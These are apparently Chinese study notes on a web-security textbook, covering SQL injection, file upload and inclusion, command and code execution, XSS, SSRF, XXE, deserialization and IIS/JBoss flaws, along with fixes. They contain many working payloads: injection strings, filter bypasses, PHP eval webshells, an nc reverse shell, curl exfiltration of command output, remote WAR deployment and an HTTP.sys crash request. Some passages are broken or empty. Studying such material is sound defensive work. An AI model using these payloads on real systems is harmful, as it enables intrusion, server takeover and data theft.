闵海钊_《Web安全原理分析与实践》
第1章 Web安全基础
HTTP基础
- HTTP请求和响应都含有空白行(头和正文之间)
- HTTP状态码第一位数字定义了状态类型,后两位没有分类作用
- GET方法和POST方法区别
- GET方法没有请求正文,POST方法有
- GET方法请求数据有长度限制,POST方法没有
- GET方法会在浏览器中显示请求的数据,POST方法不会在浏览器中显示,更加安全
第2章 SQL注入漏洞
SQL注入分类
- 按照数据类型
- 数字型
- 字符型
- 按照回显
- 报错注入
- 盲注
数字型注入判断方法
- 输入单引号,不正常返回
- 输入and 1=1,正常返回
- 输入and 1=2,不正常返回
符合以上三个条件就可能是,具体还需要测试
字符型注入判断方法
- 输入单引号,不正常返回
- 输入 1’ and ‘1’='1,正常返回
- 输入 1’ and ‘1’='2,不正常返回
符合以上三个条件就可能是,具体还需要测试
MySQL注入
information_schema数据库
从MySQL5开始,存储SCHEMATA表(存储所有数据库名)、TABLES表(存储所有表名)、COULUMNS(存储所有列名)表
常用语句
select * from information_schema.SCHEMATA;
select table_schema,table_name from information_schema.tables where table_schema = 'security';
select table_name,column_name from infortion_schema.columns where table_schema = 'security'
MySQL联合查询
- union 用于合并连个或多个SELECT语句的结果集,并消去表中任何重复行。注意:联合查询中合并的选择查询必须具有相同的输出字段数,采用相同的顺序,并包含相同或兼容的数据类型。
- order by语句中,可以用字段所在选择列表中的位置号替代字段名。
- 联合查询注入过程
- 判断注入点
- 判断列数
- 判断报错点
- 获取当前用户名、数据库名、版本信息等
MySQL bool注入
- 两个函数
-
SUBSTRING(str, start_position, [length])
-
从字符串的第 3 个位置开始截取 5 个字符,
SELECT SUBSTRING('Hello, world!', 3, 5);
,输出: ‘llo, w’ -
从字符串的第 3 个位置开始截取到字符串末尾,
SELECT SUBSTRING('Hello, world!', 3);
,输出: ‘llo, world!’ -
截取字符串的第一个字符,
SELECT SUBSTRING('Hello, world!', 1, 1);
, 输出: ‘H’
-
-
ASCII(str)
Oracle注入
-
数据字典:Oracle 数据字典是用来描述数据库结构和内容的信息集合,它存储在数据库的 SYSTEM 和 SYSAUX 表空间中,由一系列表、视图、函数和 PL/SQL 包组成。数据字典包含了数据库中所有对象的定义和属性,例如表、列、视图、索引、用户、角色、权限等。
-
数据字典视图:Oracle 提供了一系列数据字典视图,方便用户查看和管理数据字典中的信息。这些视图是对数据字典底层表的抽象,以易于理解的方式呈现数据字典信息。有三个不同权限的分类,分别以user、all、dba的前缀开头。常用的有user_tables表、user_tab_columns表、dual表。
常用语句
select table_name,tablespace_name from user_tables;
select table_name,column_name from user_tab_columns;
select SYS_CONTEXT('USERENV','CURRENT_USER') from dual;
- Oracle注入过程
- 判断注入点
- 判断列数
- 获取数据库信息(
select SYS_CONTEXT('USERENV','CURRENT_USER') from dual;、select * from session_roles;、select banner from sys.v_$version where rownum = 1;
) - 获取用户信息
- 获取用户表信息
- 获取用户表列信息
- 获取username和password信息
SQL Server注入
在 Microsoft SQL Server 中,目录视图(Catalog Views)是用于访问数据库元数据(metadata)信息的系统视图。这些视图提供了关于数据库对象(如表、列、索引等)的详细信息,方便用户进行查询和管理。以下是一些常见的 SQL Server 目录视图:
-
sysdatabases:保存了数据库相关的信息。最初安装的时候,sysdatabases包含master、model、msdb、mssqlweb和tempdb数据库的项。sysdatabases中的信息存储在master数据库中。
select * from sysdatabases;
查询结果就是所有数据库的名称。 -
sysobjects:保存了每个数据库内创建的所有对象,如约束、默认值、日志、规则等,
select * from sec.dbo.sysobjects where xtype = 'U';
查询的结果就是sec数据库中所有用户的表名。 -
syscolumns:用于保存列名,
select * from sec.dbo.syscolumns;
可以查询到sec数据库中所有表和视图的列名。
补充
- sys.objects:视图包含有关数据库中所有对象的信息,包括表、视图、存储过程、触发器等。该视图包含列如 object_id、name、type 等,用于描述对象的属性。
SELECT * FROM sys.objects WHERE type = 'U'; -- 查询所有用户表
- sys.columns:包含有关数据库中所有列的信息,包括列名、数据类型、长度等。
SELECT * FROM sys.columns WHERE object_id = OBJECT_ID('your_table_name'); -- 查询表的所有列
- sys.indexes:包含有关数据库中索引的信息,包括索引名、索引类型、关联的表等。
SELECT * FROM sys.indexes WHERE object_id = OBJECT_ID('your_table_name'); -- 查询表的所有索引
- sys.tables:包含有关数据库中所有用户表的信息,包括表名、创建日期等。
SELECT * FROM sys.tables; -- 查询所有用户表
- sys.views:包含有关数据库中所有视图的信息,包括视图名、创建日期等。
SELECT * FROM sys.views; -- 查询所有视图
- sys.procedures:包含有关数据库中所有存储过程的信息,包括存储过程名、创建日期等。
SELECT * FROM sys.procedures; -- 查询所有存储过程
SQL Server报错注入步骤
- 获取数据库名
- 法一:and (select top 1 name from sys.databases)>0
- 法二:and db_name() > 0
- 获取表名
- and 0 < (select top 1 name from sec.dbo.sysobjects where xtype=‘U’)
- and 0 < (select top 1 name from sec.dbo.sysobjects where xtype=‘U’ and name not in (‘eims_CasePro’))
- 获取列名
- and 0 < (select top 1 name from sec.dbo.syscolumns where id = (select id from sec.dbo.sysobjects where xtype = ‘U’ and name = ‘eims_User’))
- and 0 < (select top 1 name from sec.dbo.syscolumns where id = (select id from sec.dbo.sysobjects where xtype = ‘U’ and name = ‘eims_User’) and name not in (‘ItemID’))
- 获取数据:and 0 < (select top 1 item1 from sec.dbo.eims_User)
Access注入
Access爆破注入步骤
- 猜测表:and exists(select * from TableName),如果页面正常返回说明存在
- 猜测列名:and exists(select ColumnName from TableName),如果页面正常返回说明存在
- 判断列数:order by num
- 查看报错点:and 1=2 union select 1,2,3,4,5,6,7 from tablename,其中from不能省略,tablename必须存在。
- 获取数据
二次注入
原理:第一次在参数中输入恶意数据的时候,由于存在addslashes等函数的过滤,会将特殊字符\进行转义,但是转义字符\本身并不会存入数据库。这样,下一次进行查询时,如果没有过滤,直接从数据库中取出恶意数据并执行,就造成了SQL注入。
(补:二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入。在第一次进行数据库插入数据时,通常使用addslashes或get_magic_quotes_gpc等方式对特殊字符进行转义。尽管后端代码可能对语句进行了转义,但在存入数据库时,数据仍保持原样,通常包含单引号和#号。下次使用时,这些数据再次进入SQL查询,从而形成了二次注入。)
SQL注入绕过
空格过滤绕过
用/**/
、制表符(%09)
、换行符(%0a)
、括号
、反引号
来代替空格
mysql有个特性。在条件语句中,在where id = 1后面加“=1”,就是对前面的所有结果与1,查询结果与原来一样。例如,执行select * from user where id=1=1
和select * from user where id=1的
结果一样,都是1、user1、pass1。
在where id = 1后面加“=0”,就是对前面的所有结果与0,查询结果去除原来查询结果的其他数据。例如,执行select * from user where id=1=0
结果是select * from user where id=1
结果的相反,都是2、user2、pass2。
对以上构造payload:id=1=(ascii(mid(database()from(1)for(1)))=99)、id=1=(ascii(mid(database()from(1)for(1)))=100)根据相应逻辑和回显判断
内联注释绕过
/! ···/
/! 50010··/,其中,50010表示5.00.10为mysql版本,当mysql实际版本号大于内联注释符版本就会执行。
大小写绕过
双写关键字绕过
编码绕过
- 双重url编码
- 十六进制编码(mysql数据库可以识别十六进制,会对十六进制自动转换,php若开启GPC,会对单引号进行转义,使用十六进制绕过)
- Unicode编码绕过(IIS中间件可以识别Unicode,当url中存在Unicode字符时,IIS会转换)
- ASCII编码绕过(sql server数据库的char函数可以将字符转换为ascii码,这样可以绕过单引号转义)
等价函数字符替换绕过
-
用like或in代替=
-
逗号过滤:将select substr(database(),1,1);换为select substr(database() from 1 for 1);
-
等价函数
- sleep函数用benchmark函数代替
- ascii函数用hex、bin函数代替
- group_concat函数用concat_ws函数代替
- updatexml函数用extractvalue函数代替
mysql注入漏洞修复
代码层修复
- 数字型修复:用intval()函数
- 字符型修复:用htmlspecialchars函数、MySQL_real_escape_string函数和addslasher函数
- 参数化查询
服务器配置
- 修改magic_quotes_gpc配置
- 修改magic_quotes_sybase配置
第3章 文件上传漏洞
前端JS过滤绕过
- bp绕过
- 修改js
- 删除js
文件名过滤绕过
如果黑名单是php,则用PhP、phP、php3、phtml等多种扩展名绕过文件名过滤
Content-Type过滤绕过
用bp抓包修改Content-Type
文件头过滤绕过
使用图片木马
- 在木马文件中添加图片文件的文件头
- 通过copy命令:copy a.jpg /b + a.txt /a test.php,用菜刀连接
.htaccess文件上传
.hataccess文件可以对web服务器进行配置功能,实现将扩展名为.jpg/.png等文件当做php文件解析。
该文件放在特定的文档目录中,对当前目录和所有子目录生效。
-
开启.htaccess配置:修改httpd.conf,将Options FollowSymLinks AllowOverride None改为Options FollowSymLinks AllowOverride All,去掉mod_rewrite.so的注释,开启rewrite模块(LoadModule rewrite_module modules/mod_rewrite.so)
-
配置.htaccess文件
- 指定文件名:
ForceType application/x-httpd-php SetHandler application/x-httpd-php - 指定文件后缀:AddType application/x-httpd-php .jpg
- 指定文件名:
文件截断上传
php版本低于5.3.4,上传文件的路径可控
条件竞争上传
脏牛漏洞就是利用linux内核的竞争条件进行的攻击
漏洞利用代码:<?php fputs(fopen(“shell.php”,“w”),“<?php @eval($_POST[123]);?”)
第4章 文件包含漏洞
文件包含函数的参数没有经过过滤或者严格定义,并且函数可以被用户控制,这样就可能包含非预期的文件。如果文件中存在恶意代码,无论文件是什么类型,文件内的恶意代码都会被解析并执行。
常见函数
- include:出错会继续运行
- include_once:最多包含一次
- require:出错脚本终止
- require_once:最多包含一次
无限制本地文件包含
- 读取文件内容filename=…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd
- 执行任意扩展名代码,filename=test.txt(其中test.txt内容为<?php phpinfo();)
有限制本地文件包含
-
%00截断文件包含
- 利用条件1:magic_quotes_gpc=off
- 利用条件2:php低于5.3.4
- filename=…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/boot.ini%00
-
路径长度阶段文件包含
- 利用条件1:windows目录最大路径长度为256B
- 利用条件2:linux目录最大路径长度为4096B
- filename=test.txt…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/
-
点号截断文件包含
- 点号截断适用于windows系统,当点号长度大于256B时,就造成扩展名截断
- filename=test.txt…
session文件包含
当可以获取session文件的路径并且session文件的内容可控时,就可以通过包含session文件进行攻击。
获取位置方法
- phpinfo页面中的session.save_path
- 猜测,默认存储位置:/var/lib/php/session
示例代码
1 | <?php |
-
默认存储位置:/var/lib/php/session
-
内容可以通过GET型a参数传入,并将其存入Session中
- Session文件名以sess_开头,后面接sessionid(通过开发者模式查看sessionid)
- 将一句话木马传入a参数,并存入session,然后访问session文件。
日志文件包含
-
中间件日志文件包含
- 利用条件:日志文件的存储位置已知,并且有可读权限
-
ssh日志文件包含
- 利用条件:日志文件的存储位置已知,并且有可读权限
远程文件包含
无限制远程文件包含
- 利用条件:allow_url_fopen=on和allow_url_include=on
- 远程包含可以非php文件,包含后统一解析为php
无限制远程文件包含
源代码
1 | <?php |
-
问号(?)绕过:
filename=http://x.x.x.x/php.txt?(问号后面的扩展名被当作查询,从而绕过)
-
井号绕过:
filename=http://x.x.x.x/php.txt%23
-
空格绕过
PHP伪协议
php://伪协议
提供一些输入输出流访问功能
-
php://filter:元封装器,设计用于数据流打开时的筛选过滤应用,对本地磁盘文件读写
- ?filename=php://filter/read=convert.base64-encode/resource=xx.php
- ?filename=php://filter/convert.base64-encode/resource=xx.php
- 利用时不需要开启allow_url_fopen和allow_url_include
-
php://input:可以访问请求的原始数据的只读流,即可以直接读取POST上没有经过解析的原始数据,但是使用enctype="multipart/form-data"时无效。
- 读取POST数据
1
2
3<?php
echo file_get_contents("php://input");
?>带post数据访问该文件,会回显
- 写入木马
- 需要开启allow_url_include,不需要allow_url_fopen
1
2
3
4<?php
$filename=$_GET['filename'];
include($filename);
?>-
?filename=php://input
-
POST数据写:');?>
-
执行命令
- 需要开启allow_url_include,不需要allow_url_fopen
- 将上述POST值换为
<?php system('whoami');?>
file://伪协议
利用时不需要开启allow_url_fopen和allow_url_include
- ?filename=file://c:/boot.ini
data://伪协议
- 需要开启allow_url_fopen和allow_url_include
- 使用方法:data://text/plain;base64,xxx(base64编码后的数据)
phar://伪协议
- 用来解压的伪协议
- 需要开启allow_url_fopen和allow_url_include
- 用法:`?file=phar://压缩包/内部文件`
- 利用时php版本高于5.3.0
- 利用步骤:通常phar://伪协议用在有上传功能的网站中,写一个木马文件shell.php,然后用zip://伪协议压缩shell.php,再将扩展名改为.png等,上传到网站。
- ?filename=phar://shell.png/shell.php
zip://伪协议
- 用法:`?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]`
- zip://xxx.png#shell.png(要对#进行url编码)
- 利用时php版本高于5.3.0
- 需要开启allow_url_fopen和allow_url_include
expect://伪协议
?file=expect://ls(需要安装扩展)
文件包含漏洞修复
- 代码层修复:使用白名单策略
- 服务器安全配置:
- php配置文件:open_basedir=/var/www/html
- 关闭allow_url_include
第5章 命令执行漏洞
命令执行函数
- system
- index.php:
- php index.php
- exec
- index.php:
- php index.php
- shell_exec
- index.php:
- php index.php
- passthru
- index.php:
- php index.php
- popen
- index.php:
- php index.php
- proc_popen
- index.php:
- php index.php
- 反单引号
- index.php:
- php index.php
windows下的命令执行漏洞
&
命令连接符:前假,则执行后面的;前真,则前后都执行&&
命令连接符:前假,则直接报错,后面也不执行;前真,则前后都执行|
命令连接符:前假,则直接报错,后面也不执行;前真,则执行|
后面的语句。||
命令连接符:前假,则执行||
后面的语句;前真,则只执行||
前面的语句,不执行后面的语句。
linux下的命令执行漏洞
;
命令连接符:使多个命令顺序执行,前后都执行&
命令连接符:使命令后台执行,同时执行多条命令&&
命令连接符:如果前面执行成功,则执行后面的命令|
命令连接符:前面命令的输出作为后面命令的输入,都会执行,只显示后面的结果||
命令连接符:有一个执行即可
命令执行绕过
绕过空格
${IFS}
绕过:cat${IFS}a.php
$IFS$9
绕过:cat$IFS$9a.php
- 制表符(%09)绕过:
cat%09a.php
{}和,
组会绕过:{cat$,a.php}
<
绕过:cat<a.php
绕过关键字过滤
- 变量拼接:
a=c;b=at;$a$b a.php
- 空变量绕过:
cat${x} a.php
- 系统变量绕过:
${SHELLOPTS,3,1}at a.php
\
绕过:c\a\t a.php
- 通配符绕过:
ls *.php
,cat /???/???sw?
- shell反弹绕过
- /bin/nc 192.168.91.135 8888 -e /bin/bash
- ip地址转为十进制或十六进制
- 用通配符代替关键字
- /b??/?c 3232258951 8888 -e /???/b??h
- base64编码绕过:`echo “aWQ==”|base64 -d`
- expr和awk绕过:
expr substr $(awk NR=1 ctf-wiki) 1 1
- 无回显命令执行
- 用shell反弹到vps,通过vps执行命令
- 无法反弹shell,通过带外平台
- linux中
- curl test.com/`whoami`
- ping -c 1 `whoami`.test.com
- windows中
- for /F %x in (
whoami
) do start http://test.com/%x - for /F “delims=\ tokens=2” %i in (‘whoami’) do ping -n 1 %i.test.com
- for /F %x in (
- 带外平台
命令执行漏洞修复
服务器配置修复
php配置文件disable_functions禁用敏感函数
函数过滤
- escapeshellarg函数
- escapeshellcmd函数
第6章 代码执行漏洞
代码执行漏洞函数
- eval函数:
<?php @eval($_POST[1])?>
- assert函数:
<?php @assert($_POST[1])?>
- call_user_func函数:
<?php call_user_func($_POST['fun'],$_POST['arg']);?>
- call_user_func_array函数:
<?php call_user_func_array($_POST['fun'],$_POST['arg']);?>
- create_function函数
<?php $id=$_GET['id'];$code='echo'.$func.'test'.$id.';';create_function('$func',$code);?>
<?php $id=$_GET['id'];function func($fun){echo "test".$id;}?>
- array_map函数:
<?php $func=$_GET['func'];$argv=$_GET['argv'];$array[0]=$argv;array_map($func,$array);?>
- preg_replace函数:
<?php $subject='hello hack';$pattern='/hack/e';$replacement=$_GET["name"];echo preg_place($pattern,$replacement,$subject)
php可变函数
第7章 XSS漏洞
XSS漏洞分类
- 反射型XSS漏洞:一般出现在搜索页面,诱骗受害者访问构造的恶意页面,才能触发
- 存储型XSS漏洞:一般植入留言板、个人信息、文章发表等功能的页面
- DOM型XSS漏洞:基于文档对象模型
DOM型XSS
示例代码
1 | <script> |
以上表单输入<img src=1 onerror=alert(/xss/)>
可弹窗
XSS漏洞修复
对输入输出进行过滤,常见的过滤函数有htmlentities和htmlspecialchars
第8章 SSRF漏洞
攻击者利用SSRF漏洞通过服务器发起伪造请求,这样就可以访问内网数据,进行内网信息探测或者内网漏洞利用
原因:应用程序存在可以从其他服务器获取数据的功能,但是对服务器的地址并没有做严格过滤,导致应用程序可以访问任意url链接。攻击者通过精心构造URL链接,进行攻击。
- 通过服务器获取内网主机、端口和banner信息
- 对内网的应用程序进行攻击,例如 Redis、JBoss等
- 利用file://file伪协议读取文件
- 可以攻击内网程序,造成缓冲器溢出。
SSRF漏洞利用
端口探测
?url=http://127.0.0.1:3306
返回信息就开启了3306端口
若没有返回或延迟较大,就说明没开放
读取文件
file://伪协议
?url=file:///etc/passwd
内网应用攻击
- 信息探测:
?url=http://192.168.91.108:8080
- 访问jmx控制台:
?url=http://192.168.91.108:8080/jmx-console/
- 部署木马:
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system%3Aservice%3DMainDeployer&methodIndex=3&arg0=http%3A%2F%2F192.168.1.2%2Fzecmd.war
(/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=3&arg0=http://192.168.1.2/zecmd.war
) - 获得WebShell
- 执行命令
SSRF漏洞修复
- 过滤请求信息
- 严格限制访问的ip地址,只允许访问特定ip地址
- 限制访问端口,只允许访问特定端口
- 设置统一错误信息,防止造成信息泄露
第9章 XXE漏洞
应用程序在解析XML时没有过滤外部实体的加载,导致加载了恶意的外部文件,造成执行命令、读取文件、扫描内网、攻击内网应用等危害。
XML基础
XML文档结构包含3部分:XML文档声明、文档类型定义和文档元素。
XML声明
<?xml version="1.0" encoding="ISO-8859-1"?>
文档类型定义
- 基础语法:
<!ELEMENT 元素名 类型
- 内部定义:
<!DOCTYPE 元素名 类型
示例
1 | <!DOCTYPE note [ |
- 外部文档引用
文档类型定义的内容也可以保存为单独的DTD文档。
- DTD文档在本地:<!DOCTYPE 根元素 SYSTEM "文件名">
- DTD文档在公共网络上:<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">
XML漏洞利用
示例代码
1 | <?php |
文件读取
通过加载外部实体,利用file://、file://等伪协议读取本地文件
- file://伪协议payload(此payload无法读取php文件内容,因为内容会被解析)
1 | <?xml version="1.0" ?> |
- php://伪协议payload
1 | <?xml version="1.0" ?> |
内网探测
1 | <?xml version="1.0" ?> |
若开放,返回ssh的banner信息。
内网应用攻击
1 | <?xml version="1.0" ?> |
命令执行
1 | <?xml version="1.0" ?> |
XML漏洞修复
- 禁用外部实体。在代码中设置libxml_disable_entity_load(true)。
- 过滤用户提交的XML数据。过滤关键词为<!DOCTYPE、<!ELEMENT、SYSTEM、PUBLIC。
第10章 反序列化漏洞
为了有效地存储或传递数据,同时不丢失其类型和结构,经常需要利用序列化和反序列化函数对数据进行处理。
序列化函数返回字符串,此字符串包含了表示值的字节流,可以存储于任何地方。
反序列化函数对单一的已序列化的变量进行操作,将其转换为原来的值。
php中序列化函数和反序列化函数有serialize、unserialize、json_encode和json_decode。
序列化
serialize函数
序列化前调用__sleep()
函数
NULL和标量类型数据的序列化
- NULL序列化结果:
N
- boolen型序列化结果:
b:<digit>,b:1,b:0
- integer型数据的序列化结果:
i:<number>,i:123
- double型序列化结果:
d:<number>,d:1.5
,INF为无穷大,-INF负无穷大 - string型序列化结果:
s:<length>:"<value>",s:4:"test"
简单复合类型数据的序列化
- 数组的序列化结果:
a:<n>:{<key 1><value 1><key 2><value 2>···<key n><value n>}
1 | $cars=array("Volvo","BMW","SAAB") |
- 对象的序列化结果:
O:<length>:"<class name>":<n>:{<field name 1><field value 1><field name 2><field value 2>···{<field name n><field value n>}
其中,
字段名是字符串型,序列化后的格式与字符串型数据序列化后的格式相同。
字段值可以是任意类型,序列化后的格式与其所对应的类型序列化后的格式相同。
1 | class Foo{ |
反序列化
unserialize函数,若被反序列化的变量是一个对象,在重新构造对象之后,会自动调用__wakeup()
函数
反序列化漏洞利用
原因
- unserialize函数的参数可控
- 存在魔法函数
魔法函数
__construct
函数:创建对象前调用__destruct
函数:某个对象所有引用都被删除或者对象被显式销毁时执行__sleep
函数:若有,序列化前调用__wakeup
函数:若有,反序列化前调用
第11章 中间件漏洞
IIS6.0 PUT 上传漏洞
原因
- IIS Server开启了WebDAV
- IIS配置了写入权限
测试方法
发以下包
1 | OPTIONS / HTTP/1.1 |
有200响应包返回,说明开启了WebDAV
利用方法
- 利用put协议上传webshell
不能上传.asp扩展名的文件,需要上传内容为<%eval request(“123”)%>的txt文件。
1 | PUT /001.txt HTTP/1.1 |
服务器返回201则成功
- 修改文件扩展名
1 | MOVE /1.txt HTTP/1.1 |
服务器返回201则成功
IIS短文件名枚举漏洞
简介
通过在GET请求中加入“~”,可以让远程攻击者看到disclos文件和文件夹的名称,找到重要的文件和文件夹
影响版本
IIS 1.0,Windows NT 3.51
IIS 3.0,Windows NT 4.0 Service Pack 2
IIS 4.0,Windows NT 4.0选项包
IIS 5.0,Windows 2000
IIS 5.1,Windows XP Professional和Windows XP Media Center Edition
IIS 6.0,Windows Server 2003和Windows XP Professional x64 Edition
IIS 7.0,Windows Server 2008和Windows Vista
IIS 7.5,Windows 7(远程启用
IIS 7.5,Windows 2008(经典管道模式)
IIS 8.0,Windows 8, Windows Server 2012
IIS 8.5,Windows 8.1, Windows Server 2012 R2
IIS 10.0,Windows 10, Windows Server 2016
利用
- windows长文件名和短文件名
在FAT16文件系统中,由于文件目录表中的文件目录登机项只为文件名保留了8B,为扩展名保留了3B,所以DOS和Windows的用户为文件起名时要受到8.3格式的限制。但是,从windows95开始,可以用长文件名。
处理原则如下:
- 取文件名的前6个字符加上~1,形成长文件名的别名,并将长文件名中最后一部分(最后一个间隔符“.”后面的字符)的前3个字符作为扩展名。
- 如果通过上述原则得出的文件名存在,则符号~后面的数字会自动增加。
- 任何包括小写字母的文件名都被看作长文件名,而不管其长度多少。即短文件名没有小写字母。如果有在DOS和Windows3.x中非法字符,则用下划线表示。
- Apache短文件名
当apache运行在Windows下,如果创建长文件,无需猜解长文件名,直接用段文件就可以下载。
例如apache网站根目录有一个名为backup-19hsdfkdh6rhi4487.sql文件,用Windows短文件名特性就可以直接获取该文件内容:http://www.test.com/backup~1.sql
.
利用示例
利用通配符*
和?
发送一个请求到IIS,不同版本的IIS接收到一个文件路径中包含~的请求返回响应结果不一样。
IIS版本 | URL | 结果/错误信息 |
---|---|---|
IIS 6 | /valid*~1*/.aspx | HTTP 404-File not found |
IIS 6 | /Invalid*~1*/.aspx | HTTP 400-Bad Request |
IIS 5.x | /valid*~1* | HTTP 404-File not found |
IIS 5.x | /Invalid*~1* | HTTP 400-Bad Request |
IIS 7.x NET.2(无出错处理) | /valid*~1*/ | 页面包含“Error Code 0x00000000” |
IIS 7.x NET.2(无出错处理) | /Invalid*~1*/ | 页面包含“Error Code 0x80070002” |
访问http://www.test.com/a*~1*/.aspx
返回400,说明不存在a开头的文件,返回404,说明存在,接着改为ab*~1*/.aspx一直试下去。
利用工具:https://github.com/lijiejie/IIS_shortname_Scanner
可以检测
修复
- 关闭NTFS对8.3文件名格式的支持(通过修改注册表方式)
- 禁用ASP.NET功能(修改web服务扩展功能)
- 禁止在URL中使用“~”及其Unicode编码(通过黑名单限制)
IIS HTTP.sys漏洞
简介
IIS HTTP.sys漏洞(也称为CVE-2015-1635或MS15-034)是一种影响IIS的安全漏洞。让我们深入了解这个漏洞的成因、危害以及受影响的IIS版本。
HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序,自IIS6.0引入以优化IIS服务器性能,IIS服务进程依赖于它。
HTTP.sys远程代码执行漏洞实质上是HTTP.sys的整数溢出漏洞。
影响版本包括:
Windows Server 2012 R2
Windows Server 2012
Windows Server 2008 R2
Windows 8.1
Windows 8
Windows 7
分析与利用
- 利用curl工具检测漏洞
curl -v www.test.com -H "Range: bytes=0-18446744073709551615"
如果服务器返回416 Requested Range Not Satisfiable错误代码,则可能存在漏洞
-
利用payload检测
curl -H "Range: bytes=18-18446744073709551615" http://x.x.x.x/welcom.png -v
(系统会蓝屏) -
利用python脚本检测
1 | #coding:utf-8 |
- 利用metasploit检测
漏洞修复
- 打补丁(微软下载,打完补丁需要重启系统)
- 暂时无法升级补丁,可以通过禁用IIS内核缓存临时缓解
JBoss服务器漏洞
JBoss未授权访问部署木马
进入JMX console进行websell木马应用部署,通过部署WAR包,上传木马,获得shell权限。
JBoss Invoker接口未授权访问远程命令执行
JBXInvoker接口远程命令执行
利用 jboss_exploit_fat.jar
- 查看系统名称
java -jar jboss_exploit_fat.jar -i http://www.test.com/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName
- 查看服务器版本信息
java -jar jboss_exploit_fat.jar -i http://www.test.com/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSVersion
- 远程部署war包
java -jar jboss_exploit_fat.jar -i http://www.test.com/invoker/JMXInvokerServlet invoke jboss.system:service=MainDeployer deploy http://x.x.x.x/test.war
执行完访问http://www.test.com/test/test.jsp
,用菜刀连接。
-
远程删除文件\test.war\test.jsp
java -jar jboss_exploit_fat.jar -i http://www.test.com/invoker/JMXInvokerServlet invoke jboss.admin:service=DeploymentFileRepository remove test test.jsp
-
支持输入用户名和密码的带验证命令执行
java -jar jboss_exploit_fat.jar -u name -p password -i http://www.test.com/invoker/JMXInvokerServlet invoke jboss.admin:service=DeploymentFileRepository remove test test.jsp
-
支持代理模式
java -jar jboss_exploit_fat.jar -P http://127.0.0.1:8080 -i http://www.test.com/invoker/JMXInvokerServlet invoke jboss.admin:service=DeploymentFileRepository remove test test.jsp
EJBInvoker接口远程命令执行
- 查看系统名称
java -jar jboss_exploit_fat.jar -i http://www.test.com/invoker/EJBInvokerServlet get jboss.system:type=ServerInfo OSName
- 查看服务器版本信息
